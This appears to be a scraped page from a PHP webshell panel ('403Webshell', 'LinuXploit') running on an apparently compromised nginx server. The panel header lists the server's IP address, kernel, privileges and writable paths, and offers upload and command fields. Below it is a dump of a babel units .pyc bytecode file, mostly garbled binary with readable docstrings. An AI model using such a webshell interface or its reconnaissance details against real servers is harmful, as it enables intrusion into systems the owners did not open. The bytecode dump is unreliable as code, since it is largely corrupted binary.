403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/babel/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/babel/__pycache__/units.cpython-314.pyc
+
*:�g�5���^RIHt^RIt^RIHt^RIHt^RIHtH	t	!RR]
4tRRR	lltRR
Rllt
RRR
/RRllltRRRlltRRR
/RRllltR#)�)�annotationsN)�Literal)�Locale)�
LC_NUMERIC�format_decimalc�"�]tRt^
tRRltRtR#)�UnknownUnitErrorc�$�V^8�dQhRRRRRR/#)��unit�str�localer�return�None�)�formats"�-/usr/lib/python3/dist-packages/babel/units.py�__annotate__�UnknownUnitError.__annotate__s&��M�M�S�M�&�M�T�M�c	�:�\PWRV24R#)z is not a known unit in N)�
ValueError�__init__)�selfrrs&&&rr�UnknownUnitError.__init__s�����D�F�*B�6�(�"K�LrrN)�__name__�
__module__�__qualname__�__firstlineno__r�__static_attributes__rrrr	r	
s��M�Mrr	c�(�V^8�dQhRRRRRRRR/#)	r�measurement_unitr
�length�"Literal['short', 'long', 'narrow']r�Locale | str | Noner�
str | Noner)rs"rrrs0��?�?��?�.�?�
 �?��	?rc���\P!T;'g\4p\WR7pV'g
\	WR7hVP
P
V/4P
V4#)a�
Get the display name for a measurement unit in the given locale.

>>> get_unit_name("radian", locale="en")
'radians'

Unknown units will raise exceptions:

>>> get_unit_name("battery", locale="fi")
Traceback (most recent call last):
    ...
UnknownUnitError: battery/long is not a known unit/length in fi

:param measurement_unit: the code of a measurement unit.
                         Known units can be found in the CLDR Unit Validity XML file:
                         https://unicode.org/repos/cldr/tags/latest/common/validity/unit.xml

:param length: "short", "long" or "narrow"
:param locale: the `Locale` object or locale identifier. Defaults to the system numeric locale.
:return: The unit display name, or None.
�r�rr)r�parser�_find_unit_patternr	�unit_display_names�get)r"r#rrs&&& r�
get_unit_namer.sX��4�\�\�&�.�.�J�
/�F��.�>�D���$4�D�D��$�$�(�(��r�2�6�6�v�>�>rc�$�V^8�dQhRRRRRR/#)r�unit_idr
rr%rr&r)rs"rrr0s"������-@��J�rc���\P!T;'g\4pVPR,pW9dV#\	V\
R7FpVP
V4'gKVu#	R#)a�
Expand a unit into a qualified form.

Known units can be found in the CLDR Unit Validity XML file:
https://unicode.org/repos/cldr/tags/latest/common/validity/unit.xml

>>> _find_unit_pattern("radian", locale="en")
'angle-radian'

Unknown values will return None.

>>> _find_unit_pattern("horse", locale="en")

:param unit_id: the code of a measurement unit.
:return: A key to the `unit_patterns` mapping, or None.
�
unit_patterns)�keyN)rr*r�_data�sorted�len�endswith)r0rr2�unit_patterns&&  rr+r+0s`��"�\�\�&�.�.�J�
/�F�$*�L�L��$A�M������}�#�6��� � ��)�)���7�r�numbering_system�latnc�4�V^8�dQhRRRRRRRRR	R
RRR
R/#)r�value�str | float | decimal.Decimalr"r
r#r$rr&rr%r9�Literal['default'] | strrr)rs"rrrKs`��PD�PD�(�PD��PD�
/�PD�
�	PD�

 �PD�/�PD�	�PDrc���\P!T;'g\4p\WR7pV'g
\	WR7hVP
R,V,P
V/4p\V\4'dTpRp	M\WWER7pVPV4p	W�9dWy,PV4#\WVR7p
TRT
;'gT2#)u�Format a value of a given unit.

Values are formatted according to the locale's usual pluralization rules
and number formats.

>>> format_unit(12, 'length-meter', locale='ro_RO')
u'12 metri'
>>> format_unit(15.5, 'length-mile', locale='fi_FI')
u'15,5 mailia'
>>> format_unit(1200, 'pressure-millimeter-ofhg', locale='nb')
u'1\xa0200 millimeter kvikks\xf8lv'
>>> format_unit(270, 'ton', locale='en')
u'270 tons'
>>> format_unit(1234.5, 'kilogram', locale='ar_EG', numbering_system='default')
u'1٬234٫5 كيلوغرام'

Number formats may be overridden with the ``format`` parameter.

>>> import decimal
>>> format_unit(decimal.Decimal("-42.774"), 'temperature-celsius', 'short', format='#.0', locale='fr')
u'-42,8\u202f\xb0C'

The locale's usual pluralization rules are respected.

>>> format_unit(1, 'length-meter', locale='ro_RO')
u'1 metru'
>>> format_unit(0, 'length-mile', locale='cy')
u'0 mi'
>>> format_unit(1, 'length-mile', locale='cy')
u'1 filltir'
>>> format_unit(3, 'length-mile', locale='cy')
u'3 milltir'

>>> format_unit(15, 'length-horse', locale='fi')
Traceback (most recent call last):
    ...
UnknownUnitError: length-horse is not a known unit in fi

.. versionadded:: 2.2.0

:param value: the value to format. If this is a string, no number formatting will be attempted.
:param measurement_unit: the code of a measurement unit.
                         Known units can be found in the CLDR Unit Validity XML file:
                         https://unicode.org/repos/cldr/tags/latest/common/validity/unit.xml
:param length: "short", "long" or "narrow"
:param format: An optional format, as accepted by `format_decimal`.
:param locale: the `Locale` object or locale identifier. Defaults to the system numeric locale.
:param numbering_system: The numbering system used for formatting number symbols. Defaults to "latn".
                         The special value "default" will use the default numbering system of the locale.
:raise `UnsupportedNumberingSystemError`: If the numbering system is not supported by the locale.
r(r)r2�one)r9)r#r� )
rr*rr+r	r4r-�
isinstancer
r�plural_formrr.)r<r"r#rrr9�q_unitr2�formatted_valuerC�
fallback_names&&&&&$     r�format_unitrGKs���x�\�\�&�.�.�J�
/�F�
� 0�
@�F���$4�D�D��L�L��1�&�9�=�=�f�b�I�M��%��������(���b���(�(��/���#��)�0�0��A�A�"�"2�&�Q�M��
�a�
� A� A�1A�B�C�Crc�(�V^8�dQhRRRRRRRR/#)r�numerator_unitr
�denominator_unitrr%rr&r)rs"rrr�s6��1c�1c��1c��1c�
 �1c��	1crc�&�\P!T;'g\4p\WR7p\WR7pV'd	V'gR#VP	R^4R,pVP	R^4R,p\VRV2VR7#)a�
Find a predefined compound unit pattern.

Used internally by format_compound_unit.

>>> _find_compound_unit("kilometer", "hour", locale="en")
'speed-kilometer-per-hour'

>>> _find_compound_unit("mile", "gallon", locale="en")
'consumption-mile-per-gallon'

If no predefined compound pattern can be found, `None` is returned.

>>> _find_compound_unit("gallon", "mile", locale="en")

>>> _find_compound_unit("horse", "purple", locale="en")

:param numerator_unit: The numerator unit's identifier
:param denominator_unit: The denominator unit's identifier
:param locale: the `Locale` object or locale identifier. Defaults to the system numeric locale.
:return: A key to the `unit_patterns` mapping, or None.
:rtype: str|None
r(N�-z-per-���)rr*rr+�split)rIrJr�resolved_numerator_unit�resolved_denominator_unit�bare_numerator_unit�bare_denominator_units&&&    r�_find_compound_unitrS�s���8�\�\�&�.�.�J�
/�F�1��O�� 2�3C� S��
$�(A��
2�7�7��Q�?��C��5�;�;�C��C�B�G���!4� 5�U�;P�:Q�R�[a�b�brc�<�V^8�dQhRRRRRRRRRRR	RR
RRR
RR/	#)r�numerator_valuer=rIr&�denominator_valuerJr#r$rrr%r9r>rr)rs"rrr�sx��BJ�BJ�2�BJ��BJ�5�BJ�!�	BJ�

/�BJ�
�
BJ�
 �BJ�/�BJ��BJrc	��\P!T;'g\4pV'd6V'd.V^8Xd'\WVR7pV'd\	VVVVVVR7#\V\4'dTp	M)V'd\	VVVVVVR7p	M\VVVVR7p	\V\4'dTp
M�V'd�V^8Xdj\W6R7pVPR,PV/4PV/4PR4pV'dVPV	4#Rp\	TT;'gRVVVVR7P4p
M\VVVVR7p
VPR,PR/4PV/4PR	R
4pVPW�4#)uA	
Format a compound number value, i.e. "kilometers per hour" or similar.

Both unit specifiers are optional to allow for formatting of arbitrary values still according
to the locale's general "per" formatting specifier.

>>> format_compound_unit(7, denominator_value=11, length="short", locale="pt")
'7/11'

>>> format_compound_unit(150, "kilometer", denominator_unit="hour", locale="sv")
'150 kilometer per timme'

>>> format_compound_unit(150, "kilowatt", denominator_unit="year", locale="fi")
'150 kilowattia / vuosi'

>>> format_compound_unit(32.5, "ton", 15, denominator_unit="hour", locale="en")
'32.5 tons per 15 hours'

>>> format_compound_unit(1234.5, "ton", 15, denominator_unit="hour", locale="ar_EG", numbering_system="arab")
'1٬234٫5 طن لكل 15 ساعة'

>>> format_compound_unit(160, denominator_unit="square-meter", locale="fr")
'160 par m\xe8tre carr\xe9'

>>> format_compound_unit(4, "meter", "ratakisko", length="short", locale="fi")
'4 m/ratakisko'

>>> format_compound_unit(35, "minute", denominator_unit="nautical-mile", locale="sv")
'35 minuter per nautisk mil'

>>> from babel.numbers import format_currency
>>> format_compound_unit(format_currency(35, "JPY", locale="de"), denominator_unit="liter", locale="de")
'35\xa0\xa5 pro Liter'

See https://www.unicode.org/reports/tr35/tr35-general.html#perUnitPatterns

:param numerator_value: The numerator value. This may be a string,
                        in which case it is considered preformatted and the unit is ignored.
:param numerator_unit: The numerator unit. See `format_unit`.
:param denominator_value: The denominator value. This may be a string,
                          in which case it is considered preformatted and the unit is ignored.
:param denominator_unit: The denominator unit. See `format_unit`.
:param length: The formatting length. "short", "long" or "narrow"
:param format: An optional format, as accepted by `format_decimal`.
:param locale: the `Locale` object or locale identifier. Defaults to the system numeric locale.
:param numbering_system: The numbering system used for formatting number symbols. Defaults to "latn".
                         The special value "default" will use the default numbering system of the locale.
:return: A formatted compound value.
:raise `UnsupportedNumberingSystemError`: If the numbering system is not supported by the locale.
r()r#rrr9)rrr9r2�per�)r"r#rrr9�compound_unit_patterns�compoundz{0}/{1})
rr*rrSrGrBr
rr+r4r-r�strip)rUrIrVrJr#rrr9�
compound_unit�formatted_numerator�formatted_denominator�per_patterns&&&&&&&$    r�format_compound_unitra�s���z�\�\�&�.�.�J�
/�F��*�/@�A�/E�+�N�U[�\�
��������!1�
�
��/�3�'�'�-��	�)������-�

��-����-�	
���#�S�)�)� 1��	���!�1�2B�R�� �,�,��7�;�;�<L�b�Q�U�U�V\�^`�a�e�e�fk�l�K��"�)�)�*=�>�>�!#�� +��.�4�4�"����-�
!
��%�'�	�!/����-�	!
���,�,�7�8�<�<�U�B�G�K�K�F�TV�W�[�[�\f�hq�r�K����1�I�Ir)�longN)N)rbNN)N�NrbNN)�
__future__r�decimal�typingr�
babel.corer�
babel.numbersrrrr	r.r+rGrSrarrr�<module>risi��"����4�M�z�M�
?�B�6PD�28�PD�PD�f1c�hBJ�28�BJ�BJr

Youez - 2016 - github.com/yon3zu
LinuXploit